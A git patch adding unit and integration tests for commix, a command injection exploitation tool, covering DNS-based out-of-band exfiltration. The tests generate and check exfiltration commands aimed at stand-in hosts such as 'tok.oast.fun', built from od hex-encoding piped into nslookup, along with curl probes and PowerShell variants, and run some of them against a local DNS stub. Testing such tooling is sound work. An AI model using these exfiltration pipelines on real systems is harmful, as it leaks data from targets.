a .NET 'int' from a 'char', which is unsigned - already - so it needs no bringing back into range, and must not be given one. + The reading a Windows target answers with is a .NET 'int' from a byte, unsigned already - so it needs no bringing back into range, and must not be given one. """ from src.core.techniques.boolean_based import bb_payloads was = settings.TARGET_OS From d5462e4bdac3d543f5e876e180ea0785551c53f1 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 29 Oct 2026 09:25:53 +0200 Subject: [PATCH 0936/1023] Added integration tests for end-to-end OOB DNS data exfiltration and additional OOB functionality coverage --- src/utils/settings.py | 2 +- tests/test_oob_dns.py | 632 ++++++++++++++++++++++++++++++ tests/test_oob_dns_integration.py | 515 ++++++++++++++++++++++++ 3 files changed, 1148 insertions(+), 1 deletion(-) create mode 100644 tests/test_oob_dns.py create mode 100644 tests/test_oob_dns_integration.py diff --git a/src/utils/settings.py b/src/utils/settings.py index 5e23c86d25..bec7eebb41 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -477,7 +477,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "264" +REVISION = "265" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/tests/test_oob_dns.py b/tests/test_oob_dns.py new file mode 100644 index 0000000000..b6321ab2bb --- /dev/null +++ b/tests/test_oob_dns.py @@ -0,0 +1,632 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import binascii +import os +import sys +import unittest +import unittest.mock as mock + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) +sys.argv = ["commix.py"] + +from src.utils import settings +from src.core.techniques.oob import oob_payloads as payloads +from src.core.techniques.oob import oob_injector +from src.core.oob.provider import Interaction + + +def _hex(text): + return binascii.hexlify(text.encode(settings.DEFAULT_CODEC)).decode() + + +class MockChannel: + """Minimal OOB channel returning a fixed set of DNS interactions.""" + + def __init__(self): + self._interactions = {} # token -> [Interaction] + self._labels = {} # id(interaction) -> [label, ...] + self._np_counter = 0 + + def add(self, token, index, total, hex_data): + label0 = str(index) + "-" + (str(total) if total is not None else "") + itr = Interaction(protocol="dns", identifier="dummy." + token, raw_request="") + self._labels[id(itr)] = [label0] + hex_data if isinstance(hex_data, list) else [label0, hex_data] + self._interactions.setdefault(token, []).append(itr) + return itr + + def seen(self, token, protocol=None): + hits = list(self._interactions.get(token, [])) + return [i for i in hits if i.protocol == protocol] if protocol else hits + + def data_of(self, interaction): + return self._labels.get(id(interaction), []) + + def poll_now(self): + pass + + def new_payload(self): + self._np_counter += 1 + token = "t{:012d}".format(self._np_counter) + return token, "corrid" + token + ".oast.fun" + + +# --------------------------------------------------------------------------- +# decode_dns_output — pure reassembly from a chunks dict +# --------------------------------------------------------------------------- + +class TestDecodeDnsOutput(unittest.TestCase): + + def test_single_chunk_ascii(self): + self.assertEqual(payloads.decode_dns_output({1: _hex("hello")}), "hello") + + def test_multiple_chunks_in_order(self): + hexed = _hex("hello world") + mid = (len(hexed) // 2) & ~1 # keep even so no half-byte + self.assertEqual( + payloads.decode_dns_output({1: hexed[:mid], 2: hexed[mid:]}), + "hello world", + ) + + def test_chunks_out_of_order_reassembled_correctly(self): + hexed = _hex("abcdef") + mid = (len(hexed) // 2) & ~1 + # deliver chunk 2 first + self.assertEqual( + payloads.decode_dns_output({2: hexed[mid:], 1: hexed[:mid]}), + "abcdef", + ) + + def test_trailing_newline_stripped(self): + self.assertEqual(payloads.decode_dns_output({1: _hex("hello\n")}), "hello") + + def test_trailing_crlf_stripped(self): + self.assertEqual(payloads.decode_dns_output({1: _hex("hello\r\n")}), "hello") + + def test_empty_chunks_returns_empty_string(self): + self.assertEqual(payloads.decode_dns_output({}), "") + + def test_non_ascii_bytes_round_trip(self): + # od -tx1 encodes every byte, so non-ASCII survives the round trip. + raw = b"\xc3\xa9l\xc3\xa8ve" # UTF-8 "élève" + hexed = binascii.hexlify(raw).decode() + result = payloads.decode_dns_output({1: hexed}) + self.assertEqual(result.encode(settings.DEFAULT_CODEC, errors="replace"), raw) + + def test_gap_in_chunk_indices_returns_partial_decode(self): + # decode_dns_output joins whatever chunks arrived in index order; a gap does not + # crash it. INCOMPLETE_OUTPUT is set by _dns_output after the loop, not here. + hexed = _hex("abcdef") + third = (len(hexed) // 3) & ~1 + # chunks 1 and 3 present; chunk 2 missing — result is defined but not "abcdef" + result = payloads.decode_dns_output({1: hexed[:third], 3: hexed[third * 2:]}) + self.assertIsInstance(result, str) + + def test_contiguous_chunks_do_not_set_incomplete(self): + hexed = _hex("hello world") + mid = (len(hexed) // 2) & ~1 + settings.INCOMPLETE_OUTPUT = False + payloads.decode_dns_output({1: hexed[:mid], 2: hexed[mid:]}) + self.assertFalse(settings.INCOMPLETE_OUTPUT) + + def test_hex_labels_are_lowercased_by_resolver(self): + # A resolver may uppercase labels; decode_dns_output must still work. + hexed = _hex("hi").upper() + self.assertEqual(payloads.decode_dns_output({1: hexed}), "hi") + + +# --------------------------------------------------------------------------- +# _dns_output — the chunk-collection loop that drives the mock channel +# --------------------------------------------------------------------------- + +class TestDnsOutputLoop(unittest.TestCase): + + def setUp(self): + settings.OOB_TIMEOUT = 15 + settings.INCOMPLETE_OUTPUT = False + + # --- loop-format (separator `;`/`\n`): label carries "index-total" --- + + def test_loop_format_single_chunk(self): + token = "aaa" + ch = MockChannel() + ch.add(token, index=1, total=1, hex_data=_hex("hello")) + # time: call 1 → deadline base (0), call 2 → inside loop, never reached because + # total is known and len(chunks)>=total breaks before the deadline check. + with mock.patch("time.time", side_effect=[0, 0]): + with mock.patch("time.sleep"): + result = oob_injector._dns_output(ch, token) + self.assertEqual(result, "hello") + + def test_loop_format_multi_chunk_all_arrive(self): + token = "bbb" + hexed = _hex("hello world") + mid = (len(hexed) // 2) & ~1 + ch = MockChannel() + ch.add(token, index=1, total=2, hex_data=hexed[:mid]) + ch.add(token, index=2, total=2, hex_data=hexed[mid:]) + with mock.patch("time.time", side_effect=[0, 0]): + with mock.patch("time.sleep"): + result = oob_injector._dns_output(ch, token) + self.assertEqual(result, "hello world") + + def test_loop_format_out_of_order_arrival(self): + # Chunks registered in reverse order; index key must still sort correctly. + token = "ccc" + hexed = _hex("xyz123") + mid = (len(hexed) // 2) & ~1 + ch = MockChannel() + ch.add(token, index=2, total=2, hex_data=hexed[mid:]) + ch.add(token, index=1, total=2, hex_data=hexed[:mid]) + with mock.patch("time.time", side_effect=[0, 0]): + with mock.patch("time.sleep"): + result = oob_injector._dns_output(ch, token) + self.assertEqual(result, "xyz123") + + # --- xargs-format (separator `&`/`|`): label carries "index-" (no total) --- + # quiet_polls reaches 2 after two iterations with no new chunks → break. + + def test_xargs_format_exits_on_quiet_polls(self): + token = "ddd" + ch = MockChannel() + ch.add(token, index=1, total=None, hex_data=_hex("world")) + # time calls: [0] deadline base, [0] iter1 deadline check, [0] iter2 check. + # iter3: quiet_polls==2 → break before deadline check. + with mock.patch("time.time", side_effect=[0, 0, 0]): + with mock.patch("time.sleep"): + result = oob_injector._dns_output(ch, token) + self.assertEqual(result, "world") + + def test_xargs_format_hex_label_split_across_parts(self): + # `data_of` may return more than two elements; labels[1:] are joined. + token = "eee" + ch = MockChannel() + ch.add(token, index=1, total=None, hex_data=["61", "62"]) # "ab" split + with mock.patch("time.time", side_effect=[0, 0, 0]): + with mock.patch("time.sleep"): + result = oob_injector._dns_output(ch, token) + self.assertEqual(result, "ab") + + # --- timeout and partial output --- + + def test_timeout_partial_chunks_sets_incomplete(self): + token = "fff" + hexed = _hex("hi there") + mid = (len(hexed) // 2) & ~1 + ch = MockChannel() + ch.add(token, index=1, total=2, hex_data=hexed[:mid]) + # chunk 2 never arrives; deadline passes immediately inside the loop. + # time: call 1 → 0 (deadline base, deadline = 30), call 2 → 9999 (past deadline). + settings.INCOMPLETE_OUTPUT = False + with mock.patch("time.time", side_effect=[0, 9999]): + with mock.patch("time.sleep"): + oob_injector._dns_output(ch, token) + self.assertTrue(settings.INCOMPLETE_OUTPUT) + + def test_no_interactions_returns_empty_string(self): + ch = MockChannel() + with mock.patch("time.time", side_effect=[0, 9999]): + with mock.patch("time.sleep"): + result = oob_injector._dns_output(ch, "ggg") + self.assertEqual(result, "") + + def test_interaction_with_too_few_labels_skipped(self): + # A label list shorter than 2 must be silently ignored. + token = "hhh" + ch = MockChannel() + itr = Interaction(protocol="dns", identifier="dummy." + token, raw_request="") + ch._labels[id(itr)] = ["1-1"] # only one label, no hex part + ch._interactions[token] = [itr] + with mock.patch("time.time", side_effect=[0, 9999]): + with mock.patch("time.sleep"): + result = oob_injector._dns_output(ch, token) + self.assertEqual(result, "") + + def test_non_digit_index_label_skipped(self): + # A label whose first part is not a digit must not crash or add to chunks. + token = "iii" + ch = MockChannel() + itr = Interaction(protocol="dns", identifier="dummy." + token, raw_request="") + ch._labels[id(itr)] = ["probe-1", _hex("x")] # "probe" is not a digit + ch._interactions[token] = [itr] + with mock.patch("time.time", side_effect=[0, 9999]): + with mock.patch("time.sleep"): + result = oob_injector._dns_output(ch, token) + self.assertEqual(result, "") + + def test_gap_in_chunk_indices_sets_incomplete(self): + # Chunks 1 and 3 arrive (total=3); chunk 2 never does. + # Deadline passes before total is satisfied → INCOMPLETE_OUTPUT set. + token = "kkk" + hexed = _hex("abcdef") + third = (len(hexed) // 3) & ~1 + ch = MockChannel() + ch.add(token, index=1, total=3, hex_data=hexed[:third]) + ch.add(token, index=3, total=3, hex_data=hexed[third * 2:]) + settings.INCOMPLETE_OUTPUT = False + # time: call 1 → 0 (deadline=30), call 2 → 9999 (past deadline immediately) + with mock.patch("time.time", side_effect=[0, 9999]): + with mock.patch("time.sleep"): + oob_injector._dns_output(ch, token) + self.assertTrue(settings.INCOMPLETE_OUTPUT) + + def test_trailing_newline_stripped_end_to_end(self): + # The pipeline always appends a newline; _dns_output must strip it. + token = "jjj" + ch = MockChannel() + ch.add(token, index=1, total=1, hex_data=_hex("result\n")) + with mock.patch("time.time", side_effect=[0, 0]): + with mock.patch("time.sleep"): + result = oob_injector._dns_output(ch, token) + self.assertEqual(result, "result") + + +# --------------------------------------------------------------------------- +# Gap 1: dns_exfil_command label format vs. _dns_output expectations +# --------------------------------------------------------------------------- + +class TestDnsExfilCommandFormat(unittest.TestCase): + + def setUp(self): + settings.TARGET_OS = settings.OS.UNIX + + def tearDown(self): + settings.TARGET_OS = settings.OS.UNIX + + # Loop-format separators (`;` and `\n`) use a while-loop that knows its total. + def test_loop_separator_contains_index_total_pattern(self): + cmd = payloads.dns_exfil_command("tok.oast.fun", "id", ";") + self.assertIn("$n-$t", cmd) + + def test_loop_separator_encodes_output_with_od(self): + cmd = payloads.dns_exfil_command("tok.oast.fun", "id", ";") + self.assertIn("od -An -v -tx1", cmd) + + def test_loop_separator_contains_lookup_command(self): + cmd = payloads.dns_exfil_command("tok.oast.fun", "id", ";") + self.assertIn("nslookup", cmd) + + # Xargs-format separators (`&` and `|`) number chunks with `cat -n` + `tr`. + def test_xargs_separator_contains_cat_n(self): + cmd = payloads.dns_exfil_command("tok.oast.fun", "id", "&") + self.assertIn("cat -n", cmd) + + def test_xargs_separator_converts_tab_to_dot(self): + cmd = payloads.dns_exfil_command("tok.oast.fun", "id", "&") + self.assertIn("tr '\\t' '.'", cmd) + + def test_xargs_separator_has_no_total_label(self): + # Xargs format produces plain numbering ("1.<hex>"), not "1-3" + cmd = payloads.dns_exfil_command("tok.oast.fun", "id", "&") + self.assertNotIn("$n-$t", cmd) + + def test_xargs_label_parses_in_dns_output_loop(self): + # labels[0] = "1" (no dash) is still parsed correctly via partition("-"). + token = "parsexargs" + ch = MockChannel() + hexed = _hex("ok") + itr = Interaction(protocol="dns", identifier="dummy." + token, raw_request="") + ch._labels[id(itr)] = ["1", hexed] # plain index, no dash + ch._interactions[token] = [itr] + with mock.patch("time.time", side_effect=[0, 0, 0]): + with mock.patch("time.sleep"): + result = oob_injector._dns_output(ch, token) + self.assertEqual(result, "ok") + + def test_windows_uses_powershell_and_bitconverter(self): + settings.TARGET_OS = settings.OS.WINDOWS + cmd = payloads.dns_exfil_command("tok.oast.fun", "id", "&") + self.assertIn("powershell", cmd.lower()) + self.assertIn("BitConverter", cmd) + + def test_windows_label_carries_index_total(self): + settings.TARGET_OS = settings.OS.WINDOWS + cmd = payloads.dns_exfil_command("tok.oast.fun", "id", "&") + # PowerShell embeds ($i/chunk)+1 and $t in the nslookup target + self.assertIn("$t", cmd) + self.assertIn("nslookup", cmd) + + +# --------------------------------------------------------------------------- +# Gap 2: Interactsh identifier parsing (_token_of / data_of) +# --------------------------------------------------------------------------- + +class TestInteractshParsing(unittest.TestCase): + + CORR = "aabbccddeeaabbccddee" # 20-char correlation id + TOKEN = "aaabbbcccddd" # 13-char probe token + + def _client(self): + from src.core.oob.interactsh import Interactsh + c = Interactsh.__new__(Interactsh) + c.correlation_id = self.CORR + c.domain = "oast.fun" + return c + + def _itr(self, identifier): + return Interaction(protocol="dns", identifier=identifier, raw_request="") + + def test_token_of_plain_probe(self): + identifier = self.CORR + self.TOKEN + ".oast.fun" + self.assertEqual(self._client()._token_of(self._itr(identifier)), self.TOKEN) + + def test_token_of_data_carrying(self): + identifier = "1-3.deadbeef." + self.CORR + self.TOKEN + ".oast.fun" + self.assertEqual(self._client()._token_of(self._itr(identifier)), self.TOKEN) + + def test_token_of_unknown_returns_none(self): + self.assertIsNone(self._client()._token_of(self._itr("unknown.label.oast.fun"))) + + def test_data_of_plain_probe_is_empty(self): + identifier = self.CORR + self.TOKEN + ".oast.fun" + self.assertEqual(self._client().data_of(self._itr(identifier)), []) + + def test_data_of_single_chunk(self): + chunk = "6865786f6b" + identifier = "1-1." + chunk + "." + self.CORR + self.TOKEN + ".oast.fun" + self.assertEqual(self._client().data_of(self._itr(identifier)), ["1-1", chunk]) + + def test_data_of_multipart_chunk(self): + identifier = "1-2.part1.part2." + self.CORR + self.TOKEN + ".oast.fun" + self.assertEqual(self._client().data_of(self._itr(identifier)), ["1-2", "part1", "part2"]) + + def test_data_and_token_agree_on_boundary(self): + # data_of and _token_of must find the same boundary label. + chunk = "6162" + identifier = "1-1." + chunk + "." + self.CORR + self.TOKEN + ".oast.fun" + c = self._client() + itr = self._itr(identifier) + self.assertEqual(c._token_of(itr), self.TOKEN) + labels = c.data_of(itr) + self.assertEqual(labels[0], "1-1") + self.assertEqual(labels[1], chunk) + + def test_data_of_xargs_format_plain_index(self): + # Xargs produces "1.<hex>.<corr+token>.<domain>" — label0 is a plain number. + chunk = "6162" + identifier = "1." + chunk + "." + self.CORR + self.TOKEN + ".oast.fun" + labels = self._client().data_of(self._itr(identifier)) + self.assertEqual(labels, ["1", chunk]) + + def test_token_of_is_case_insensitive(self): + # interactsh identifiers arrive lowercased; _token_of lower()s the label. + identifier = (self.CORR + self.TOKEN + ".oast.fun").upper() + self.assertEqual(self._client()._token_of(self._itr(identifier)), self.TOKEN) + + +# --------------------------------------------------------------------------- +# Gap 3: injection() retry logic +# --------------------------------------------------------------------------- + +class TestInjectionRetry(unittest.TestCase): + + def setUp(self): + settings.TARGET_OS = settings.OS.UNIX + settings.OOB_EVAL = False + settings.OOB_TRANSPORT = "dns" + settings.OOB_DNS_ATTEMPTS = 2 + settings.OOB_TIMEOUT = 15 + settings.INCOMPLETE_OUTPUT = False + self._ch = MockChannel() + settings.OOB_CHANNEL = self._ch + + def tearDown(self): + settings.OOB_CHANNEL = None + settings.OOB_TRANSPORT = "" + + def _run(self, dns_side_effects): + with mock.patch("src.core.techniques.oob.oob_injector._dns_output", + side_effect=dns_side_effects) as m: + with mock.patch("src.core.controller.handler.oob_inject"): + result = oob_injector.injection(";", "id", "", "", " ", "GET", + "http://t/", "p") + return result, m + + def test_retries_on_empty_first_response(self): + result, m = self._run(["", "data"]) + self.assertEqual(result, "data") + self.assertEqual(m.call_count, 2) + + def test_no_retry_when_first_attempt_succeeds(self): + result, m = self._run(["first"]) + self.assertEqual(result, "first") + self.assertEqual(m.call_count, 1) + + def test_both_empty_returns_empty_after_attempts(self): + result, m = self._run(["", ""]) + self.assertEqual(result, "") + self.assertEqual(m.call_count, 2) + + def test_attempts_1_never_retries(self): + settings.OOB_DNS_ATTEMPTS = 1 + result, m = self._run([""]) + self.assertEqual(result, "") + self.assertEqual(m.call_count, 1) + + def test_null_channel_returns_empty_immediately(self): + settings.OOB_CHANNEL = None + with mock.patch("src.core.techniques.oob.oob_injector._dns_output") as m: + result = oob_injector.injection(";", "id", "", "", " ", "GET", "http://t/", "p") + self.assertEqual(result, "") + m.assert_not_called() + + def test_unsupported_transport_returns_empty_immediately(self): + settings.OOB_TRANSPORT = "notreal" + with mock.patch("src.core.techniques.oob.oob_injector._dns_output") as m: + result = oob_injector.injection(";", "id", "", "", " ", "GET", "http://t/", "p") + self.assertEqual(result, "") + m.assert_not_called() + + +# --------------------------------------------------------------------------- +# Gap 4: heuristic_payload DNS probe +# --------------------------------------------------------------------------- + +class TestHeuristicPayload(unittest.TestCase): + + def setUp(self): + settings.TARGET_OS = settings.OS.UNIX + settings.OOB_SCHEME = "https" + + def tearDown(self): + settings.TARGET_OS = settings.OS.UNIX + + def test_posix_produces_three_probes(self): + ch = MockChannel() + _, probes = payloads.heuristic_payload(ch, settings.OS.UNIX) + self.assertEqual(len(probes), 3) + + def test_windows_produces_three_probes(self): + ch = MockChannel() + _, probes = payloads.heuristic_payload(ch, settings.OS.WINDOWS) + self.assertEqual(len(probes), 3) + + def test_posix_probe_transports_in_order(self): + ch = MockChannel() + _, probes = payloads.heuristic_payload(ch, settings.OS.UNIX) + # pairs = ((";","curl"), ("&","dns"), ("|","dns")) + self.assertEqual([t for _, t in probes], ["curl", "dns", "dns"]) + + def test_windows_probe_transports_in_order(self): + ch = MockChannel() + _, probes = payloads.heuristic_payload(ch, settings.OS.WINDOWS) + # pairs = (("&","curl"), ("&","dns"), ("|","dns")) + self.assertEqual([t for _, t in probes], ["curl", "dns", "dns"]) + + def test_probe_tokens_are_unique(self): + ch = MockChannel() + _, probes = payloads.heuristic_payload(ch, settings.OS.UNIX) + tokens = [tok for tok, _ in probes] + self.assertEqual(len(tokens), len(set(tokens))) + + def test_payload_contains_dns_lookup_command(self): + ch = MockChannel() + payload, _ = payloads.heuristic_payload(ch, settings.OS.UNIX) + self.assertIn("nslookup", payload) + + def test_payload_contains_curl_command(self): + ch = MockChannel() + payload, _ = payloads.heuristic_payload(ch, settings.OS.UNIX) + self.assertIn("curl", payload) + + def test_each_probe_token_present_in_payload(self): + # The hostname for each probe embeds its token; the payload must reference it. + ch = MockChannel() + payload, probes = payloads.heuristic_payload(ch, settings.OS.UNIX) + for token, _ in probes: + self.assertIn(token, payload) + + def test_payload_is_nonempty_string(self): + ch = MockChannel() + payload, _ = payloads.heuristic_payload(ch, settings.OS.UNIX) + self.assertIsInstance(payload, str) + self.assertTrue(len(payload) > 0) + + +# --------------------------------------------------------------------------- +# OOB_EVAL: exfiltrate_eval and injection() with OOB_EVAL=True +# --------------------------------------------------------------------------- + +class TestOobEval(unittest.TestCase): + + _HOST = "aabbccddeeaabbccddeetest0000token.oast.fun" + + def setUp(self): + settings.TARGET_OS = settings.OS.UNIX + settings.OOB_EVAL = False + + def tearDown(self): + settings.OOB_EVAL = False + + # --- exfiltrate_eval structure ----------------------------------------- + + def test_returns_nonempty_for_dns(self): + result = payloads.exfiltrate_eval(";", "dns", self._HOST, "echo hello") + self.assertTrue(result, "exfiltrate_eval returned empty for dns transport") + + def test_wraps_in_eval_grammar_backticks(self): + # Default eval grammar is PHP: print(`...`); + result = payloads.exfiltrate_eval(";", "dns", self._HOST, "echo hello") + self.assertIn("`", result) + self.assertTrue(result.strip().startswith("print(")) + + def test_contains_dns_pipeline_structure(self): + result = payloads.exfiltrate_eval(";", "dns", self._HOST, "echo hello") + self.assertIn("nslookup", result) + self.assertIn("od -An", result) + + def test_inner_command_matches_plain_exfiltrate(self): + # The backtick content must be exactly what exfiltrate("", ...) builds. + plain = payloads.exfiltrate("", "dns", self._HOST, "echo hello") + wrapped = payloads.exfiltrate_eval(";", "dns", self._HOST, "echo hello") + inner = wrapped.split("`")[1] + self.assertEqual(inner, plain) + + def test_terminator_appended_when_separator_given(self): + result = payloads.exfiltrate_eval(";", "dns", self._HOST, "echo hello") + self.assertTrue(result.endswith(settings.EVAL_GRAMMAR.TERMINATOR)) + + def test_no_extra_terminator_when_separator_empty(self): + # With no separator the eval wrapper adds no extra terminator beyond + # what _rendered() already produces (the PHP print statement ends in ;). + with_sep = payloads.exfiltrate_eval(";", "dns", self._HOST, "echo hello") + without_sep = payloads.exfiltrate_eval("", "dns", self._HOST, "echo hello") + self.assertEqual(len(without_sep) + len(settings.EVAL_GRAMMAR.TERMINATOR), + len(with_sep)) + + # --- injection() with OOB_EVAL=True ------------------------------------ + + def test_injection_oob_eval_calls_dns_output(self): + ch = MockChannel() + settings.OOB_EVAL = True + settings.OOB_TRANSPORT = "dns" + settings.OOB_DNS_ATTEMPTS = 1 + settings.OOB_CHANNEL = ch + try: + with mock.patch("src.core.techniques.oob.oob_injector._dns_output", + return_value="eval_result") as m: + with mock.patch("src.core.controller.handler.oob_inject"): + result = oob_injector.injection(";", "echo hello", "", "", " ", + "GET", "http://t/", "p") + self.assertEqual(result, "eval_result") + self.assertEqual(m.call_count, 1) + finally: + settings.OOB_CHANNEL = None + settings.OOB_TRANSPORT = "" + settings.OOB_EVAL = False + + def test_injection_oob_eval_retries_same_as_plain(self): + # OOB_EVAL=True does not change the retry count. + ch = MockChannel() + settings.OOB_EVAL = True + settings.OOB_TRANSPORT = "dns" + settings.OOB_DNS_ATTEMPTS = 2 + settings.OOB_CHANNEL = ch + try: + with mock.patch("src.core.techniques.oob.oob_injector._dns_output", + side_effect=["", "second"]) as m: + with mock.patch("src.core.controller.handler.oob_inject"): + result = oob_injector.injection(";", "echo hello", "", "", " ", + "GET", "http://t/", "p") + self.assertEqual(result, "second") + self.assertEqual(m.call_count, 2) + finally: + settings.OOB_CHANNEL = None + settings.OOB_TRANSPORT = "" + settings.OOB_EVAL = False + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_oob_dns_integration.py b/tests/test_oob_dns_integration.py new file mode 100644 index 0000000000..032f549b61 --- /dev/null +++ b/tests/test_oob_dns_integration.py @@ -0,0 +1,515 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +""" +Integration test: OOB DNS data flow exercised end-to-end. + +Spins up a local DNS UDP stub on a random high port, installs a fake +`nslookup` wrapper script that forwards queries to that stub, generates +dns_exfil_command shell pipelines from the production code, runs them +in a subprocess, then verifies that the captured labels reassemble back +to the original command output. + +No root access required; no external network traffic. +""" + +import binascii +import itertools +import os +import queue +import shutil +import socket +import stat +import struct +import subprocess +import sys +import tempfile +import threading +import unittest +import unittest.mock as mock + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) +sys.argv = ["commix.py"] + +from src.utils import settings +from src.core.techniques.oob import oob_payloads as payloads +from src.core.techniques.oob import oob_injector +from src.core.oob.provider import Interaction + + +# Fixed correlation id and token so the production parsing code finds them. +CORR_ID = "aabbccddeeaabbccddee" # 20 chars (interactsh format) +TOKEN = "testtoken0000" # 13 chars +HOSTNAME = CORR_ID + TOKEN + ".test.local" + + +# --------------------------------------------------------------------------- +# Minimal DNS UDP stub +# --------------------------------------------------------------------------- + +class DnsStub: + """ + Listens on a random local UDP port, records every DNS query name it + receives, and sends a minimal NXDOMAIN reply so callers do not block. + """ + + def __init__(self): + self._sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + self._sock.bind(("127.0.0.1", 0)) + self._sock.settimeout(0.3) + self.port = self._sock.getsockname()[1] + self._q = queue.Queue() + self._running = False + self._thread = None + + def start(self): + self._running = True + self._thread = threading.Thread(target=self._loop, daemon=True) + self._thread.start() + + def stop(self): + self._running = False + try: + self._sock.close() + except OSError: + pass + if self._thread: + self._thread.join(timeout=2) + + def _loop(self): + while self._running: + try: + data, addr = self._sock.recvfrom(512) + except (socket.timeout, OSError): + continue + name = self._parse_name(data) + if name: + self._q.put(name.lower()) + self._nxdomain(data, addr) + + def _nxdomain(self, query, addr): + if len(query) < 12: + return + hdr = bytearray(query[:12]) + hdr[2] = 0x81 # QR=1, RD=1 + hdr[3] = 0x83 # RA=1, RCODE=3 + hdr[6] = hdr[7] = 0 + try: + self._sock.sendto(bytes(hdr) + query[12:], addr) + except OSError: + pass + + @staticmethod + def _parse_name(data): + if len(data) < 13: + return None + pos = 12 # skip the 12-byte DNS header + labels = [] + while pos < len(data): + length = data[pos] + if length == 0: + break + pos += 1 + if pos + length > len(data): + return None + labels.append(data[pos:pos + length].decode("ascii", errors="replace")) + pos += length + return ".".join(labels) if labels else None + + def drain(self, first_wait=5.0, idle=0.5): + """Collect all query names: wait up to *first_wait* s for the first + one, then keep draining until *idle* s of silence.""" + names = [] + try: + names.append(self._q.get(timeout=first_wait)) + except queue.Empty: + return names + while True: + try: + names.append(self._q.get(timeout=idle)) + except queue.Empty: + break + return names + + +# --------------------------------------------------------------------------- +# Fake nslookup wrapper +# --------------------------------------------------------------------------- + +# Python script that sends a real DNS UDP query to the stub. +_DNS_SENDER = """\ +#!/usr/bin/env python3 +import socket, sys, struct + +host = sys.argv[1] +labels = host.lower().encode("ascii", errors="replace").split(b".") +question = b"".join(bytes([len(l)]) + l for l in labels) + b"\\x00" +question += struct.pack("!HH", 1, 1) # QTYPE=A, QCLASS=IN +header = struct.pack("!HHHHHH", 0xAABB, 0x0100, 1, 0, 0, 0) + +s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) +s.settimeout(2) +try: + s.sendto(header + question, ("127.0.0.1", {port})) + s.recv(512) +except Exception: + pass +""" + +_NSLOOKUP_SH = """\ +#!/bin/sh +exec python3 {sender} "$@" +""" + + +_NOOP_SH = "#!/bin/sh\nexit 1\n" + + +def _install_fake_nslookup(tmpdir, port): + sender = os.path.join(tmpdir, "_dns_sender.py") + wrapper = os.path.join(tmpdir, "nslookup") + with open(sender, "w") as fh: + fh.write(_DNS_SENDER.format(port=port)) + with open(wrapper, "w") as fh: + fh.write(_NSLOOKUP_SH.format(sender=sender)) + os.chmod(wrapper, stat.S_IRWXU | stat.S_IRGRP | stat.S_IXGRP) + # When the '|' separator chains lookup tools with single pipes every command + # in the pipeline runs simultaneously. Provide fast no-ops for the fallbacks + # so they do not block waiting for I/O or a network reply. + for name in ("getent", "host", "ping"): + path = os.path.join(tmpdir, name) + with open(path, "w") as fh: + fh.write(_NOOP_SH) + os.chmod(path, stat.S_IRWXU | stat.S_IRGRP | stat.S_IXGRP) + + +# --------------------------------------------------------------------------- +# Reassembly helper +# --------------------------------------------------------------------------- + +def _reassemble(stub_names): + """ + Given a list of raw DNS query names from the stub, use the production + Interactsh parsing to build a mock channel, then call _dns_output to + reassemble the command output. + """ + from src.core.oob.interactsh import Interactsh + + client = Interactsh.__new__(Interactsh) + client.correlation_id = CORR_ID + client.domain = "test.local" + + class _Ch: + def __init__(self): + self._seen = [] + self._labels = {} + + def seen(self, token, protocol=None): + hits = self._seen + return [i for i in hits if i.protocol == protocol] if protocol else list(hits) + + def data_of(self, itr): + return self._labels.get(id(itr), []) + + def poll_now(self): + pass + + ch = _Ch() + for name in stub_names: + itr = Interaction(protocol="dns", identifier=name, raw_request="") + if client._token_of(itr) == TOKEN: + ch._seen.append(itr) + ch._labels[id(itr)] = client.data_of(itr) + + # First call supplies the deadline base (0 → deadline = 30). + # Second call (inside the loop) returns 9999 to trigger the exit path: + # the deadline check fires after the first iteration processes all chunks. + times = itertools.chain([0], itertools.repeat(9999)) + settings.OOB_TIMEOUT = 15 + settings.INCOMPLETE_OUTPUT = False + with mock.patch("time.time", side_effect=times): + with mock.patch("time.sleep"): + return oob_injector._dns_output(ch, TOKEN) + + +# --------------------------------------------------------------------------- +# Integration test class +# --------------------------------------------------------------------------- + +_TOOLS = ("sh", "od", "fold", "cat", "tr", "xargs", "python3") + +@unittest.skipUnless( + all(shutil.which(t) for t in _TOOLS), + "one or more required tools missing: " + ", ".join(_TOOLS), +) +class TestDnsOobIntegration(unittest.TestCase): + + def setUp(self): + settings.TARGET_OS = settings.OS.UNIX + settings.INCOMPLETE_OUTPUT = False + self._stub = DnsStub() + self._stub.start() + self._tmpdir = tempfile.mkdtemp(prefix="commix_oob_test_") + _install_fake_nslookup(self._tmpdir, self._stub.port) + + def tearDown(self): + self._stub.stop() + shutil.rmtree(self._tmpdir, ignore_errors=True) + settings.TARGET_OS = settings.OS.UNIX + + def _run(self, cmd, timeout=12): + env = dict(os.environ) + env["PATH"] = self._tmpdir + ":" + env.get("PATH", "/usr/bin:/bin") + subprocess.run( + ["sh", "-c", cmd], + env=env, + capture_output=True, + timeout=timeout, + ) + + # --- xargs format (separator '&'): plain index labels, no total -------- + + def test_xargs_single_chunk_ascii_round_trip(self): + cmd = payloads.dns_exfil_command(HOSTNAME, "echo hello", "&") + self._run(cmd) + names = self._stub.drain() + self.assertNotEqual(names, [], "no DNS 